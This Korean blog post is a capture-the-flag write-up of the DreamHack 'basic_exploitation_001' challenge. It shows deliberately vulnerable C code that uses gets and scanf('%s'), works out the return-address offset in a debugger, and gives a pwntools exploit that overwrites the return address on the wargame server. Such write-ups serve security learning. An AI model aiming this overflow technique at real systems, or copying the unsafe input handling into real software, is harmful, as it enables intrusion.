INTERLUDE/System Hacking

[DreamHack] BOF / basic_exploitation_001

sohexz 2024. 2. 8. 13:22

scanf에 %s 포맷 스트링 사용 x

%[n]s 형태로 사용해야 함

 

위험 함수

- strcpy

- strcat

- sprintf

 

권장 함수(버퍼의 크기를 같이 입력)

- strncpy

- strncat

- snprintf

- fgets

- memcpy

 

코어 파일

 

예제 파일

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

 

비정상적 종료가 된 것을 볼 수 있음

 

/var/lib/apport/coredump에 코어파일 생성됨

 

 

 

 

 

https://dreamhack.io/wargame/challenges/3

 

basic_exploitation_001

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요. "flag" 파일의 내용

dreamhack.io

 

basic_exploitation_001.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

 

바이너리 실행

단순 문자열을 받고 종료됨

 

코드 분석

gets가 buf를 다른 조건 없이 받고 있어 오버플로우가 발생할 것임

read_flag 함수가 flag를 읽어주기 때문에 read_flag 함수 주소를 강제 호출해야 됨

 

buf + sft + ret(read_flag)

buf = 128 Byte

 

 

NX bit가 존재-> 셸코드 삽입 불가

 

read_flag 함수 주소 = 0x080485b9

 

 

main + 11에 ebp-0x80 문자열 저장 확인

 

 

gets 함수가 실행된 후 주소 확인

gets 함수의 반환값이 있는 main+20으로 b 후 c

 

aaaaaaaaaa 입력한 문자열이 0xffffd118에 위치

= ebp-0x80은 0xffffd118

 

 

__libc_start_main+245은 0xffffd19c

 

buf부터 ret까지 offset: 132 바이트

 

 

=> buf, stf 132바이트 + ret( 0x080485b9 )

 

 

exploit 코드

from pwn import *

p= remote('host3.dreamhack.games', 24248)

payload=b'A'*132 + p32(0x080485b9)
p.sendline(payload)

p.interactive()

 

 

flag 획득